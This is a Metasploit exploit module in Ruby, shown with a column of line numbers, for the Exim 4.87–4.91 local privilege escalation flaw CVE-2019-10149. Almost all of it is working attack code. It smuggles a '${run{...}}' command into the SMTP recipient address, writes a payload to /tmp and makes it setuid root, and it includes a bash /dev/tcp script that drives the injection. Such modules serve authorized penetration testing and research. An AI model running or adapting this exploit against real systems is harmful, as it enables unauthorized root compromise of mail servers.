1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261 | ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'expect'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::FileDropper
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
def initialize(info = {})
super(update_info(info,
'Name' => 'Exim 4.87 - 4.91 Local Privilege Escalation',
'Description' => %q{
This module exploits a flaw in Exim versions 4.87 to 4.91 (inclusive).
Improper validation of recipient address in deliver_message()
function in /src/deliver.c may lead to command execution with root privileges
(CVE-2019-10149).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Qualys', # Discovery and PoC (@qualys)
'Dennis Herrmann', # Working exploit (@dhn)
'Marco Ivaldi', # Working exploit (@0xdea)
'Guillaume André' # Metasploit module (@yaumn_)
],
'DisclosureDate' => '2019-06-05',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' =>
[
[
'Exim 4.87 - 4.91',
lower_version: Gem::Version.new('4.87'),
upper_version: Gem::Version.new('4.91')
]
],
'DefaultOptions' =>
{
'PrependSetgid' => true,
'PrependSetuid' => true
},
'References' =>
[
[ 'CVE', '2019-10149' ],
[ 'EDB', '46996' ],
[ 'URL', 'https://www.openwall.com/lists/oss-security/2019/06/06/1' ]
]
))
register_options(
[
OptInt.new('EXIMPORT', [ true, 'The port exim is listening to', 25 ])
])
register_advanced_options(
[
OptBool.new('ForceExploit', [ false, 'Force exploit even if the current session is root', false ]),
OptFloat.new('SendExpectTimeout', [ true, 'Timeout per send/expect when communicating with exim', 3.5 ]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
])
end
def base_dir
datastore['WritableDir'].to_s
end
def encode_command(cmd)
'\x' + cmd.unpack('H2' * cmd.length).join('\x')
end
def open_tcp_connection
socket_subsystem = Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket.new(client)
params = Rex::Socket::Parameters.new({
'PeerHost' => '127.0.0.1',
'PeerPort' => datastore['EXIMPORT']
})
begin
socket = socket_subsystem.create_tcp_client_channel(params)
rescue => e
vprint_error("Couldn't connect to port #{datastore['EXIMPORT']}, "\
"are you sure exim is listening on this port? (see EXIMPORT)")
raise e
end
return socket_subsystem, socket
end
def inject_payload(payload)
if session.type == 'meterpreter'
socket_subsystem, socket = open_tcp_connection
tcp_conversation = {
nil => /220/,
'helo localhost' => /250/,
"MAIL FROM:<>" => /250/,
"RCPT TO:<${run{#{payload}}}@localhost>" => /250/,
'DATA' => /354/,
'Received:' => nil,
'.' => /250/
}
begin
tcp_conversation.each do |line, pattern|
Timeout.timeout(datastore['SendExpectTimeout']) do
if line
if line == 'Received:'
for i in (1..31)
socket.puts("#{line} #{i}\n")
end
else
socket.puts("#{line}\n")
end
end
if pattern
socket.expect(pattern)
end
end
end
rescue Rex::ConnectionError => e
fail_with(Failure::Unreachable, e.message)
rescue Timeout::Error
fail_with(Failure::TimeoutExpired, 'SendExpectTimeout maxed out')
ensure
socket.puts("QUIT\n")
socket.close
socket_subsystem.shutdown
end
else
unless cmd_exec("/bin/bash -c 'exec 3<>/dev/tcp/localhost/#{datastore['EXIMPORT']}' "\
"&& echo true").chomp.to_s == 'true'
fail_with(Failure::NotFound, "Port #{datastore['EXIMPORT']} is closed")
end
bash_script = %|
#!/bin/bash
exec 3<>/dev/tcp/localhost/#{datastore['EXIMPORT']}
read -u 3 && echo $REPLY
echo "helo localhost" >&3
read -u 3 && echo $REPLY
echo "mail from:<>" >&3
read -u 3 && echo $REPLY
echo 'rcpt to:<${run{#{payload}}}@localhost>' >&3
read -u 3 && echo $REPLY
echo "data" >&3
read -u 3 && echo $REPLY
for i in $(seq 1 30); do
echo 'Received: $i' >&3
done
echo "." >&3
read -u 3 && echo $REPLY
echo "quit" >&3
read -u 3 && echo $REPLY
|
@bash_script_path = File.join(base_dir, Rex::Text.rand_text_alpha(10))
write_file(@bash_script_path, bash_script)
register_file_for_cleanup(@bash_script_path)
chmod(@bash_script_path)
cmd_exec("/bin/bash -c \"#{@bash_script_path}\"")
end
print_status('Payload sent, wait a few seconds...')
Rex.sleep(5)
end
def check_for_bash
unless command_exists?('/bin/bash')
fail_with(Failure::NotFound, 'bash not found')
end
end
def on_new_session(session)
super
if session.type == 'meterpreter'
session.core.use('stdapi') unless session.ext.aliases.include?('stdapi')
session.fs.file.rm(@payload_path)
else
session.shell_command_token("rm -f #{@payload_path}")
end
end
def check
if session.type == 'meterpreter'
begin
socket_subsystem, socket = open_tcp_connection
rescue
return CheckCode::Safe
end
res = socket.gets
socket.close
socket_subsystem.shutdown
else
check_for_bash
res = cmd_exec("/bin/bash -c 'exec 3</dev/tcp/localhost/#{datastore['EXIMPORT']} && "\
"(read -u 3 && echo $REPLY) || echo false'")
if res == 'false'
vprint_error("Couldn't connect to port #{datastore['EXIMPORT']}, "\
"are you sure exim is listening on this port? (see EXIMPORT)")
return CheckCode::Safe
end
end
if res =~ /Exim ([0-9\.]+)/i
version = Gem::Version.new($1)
vprint_status("Found exim version: #{version}")
if version >= target[:lower_version] && version <= target[:upper_version]
return CheckCode::Appears
else
return CheckCode::Safe
end
end
CheckCode::Unknown
end
def exploit
if is_root?
unless datastore['ForceExploit']
fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
end
end
unless writable?(base_dir)
fail_with(Failure::BadConfig, "#{base_dir} is not writable")
end
if nosuid?(base_dir)
fail_with(Failure::BadConfig, "#{base_dir} is mounted nosuid")
end
unless datastore['PrependSetuid'] && datastore['PrependSetgid']
fail_with(Failure::BadConfig, 'PrependSetuid and PrependSetgid must both be set to true in order ' \
'to get root privileges.')
end
if session.type == 'shell'
check_for_bash
end
@payload_path = File.join(base_dir, Rex::Text.rand_text_alpha(10))
write_file(@payload_path, payload.encoded_exe)
register_file_for_cleanup(@payload_path)
inject_payload(encode_command("/bin/sh -c 'chown root #{@payload_path};"\
"chmod 4755 #{@payload_path}'"))
unless setuid?(@payload_path)
fail_with(Failure::Unknown, "Couldn't escalate privileges")
end
cmd_exec("#{@payload_path} & echo ")
end
end
|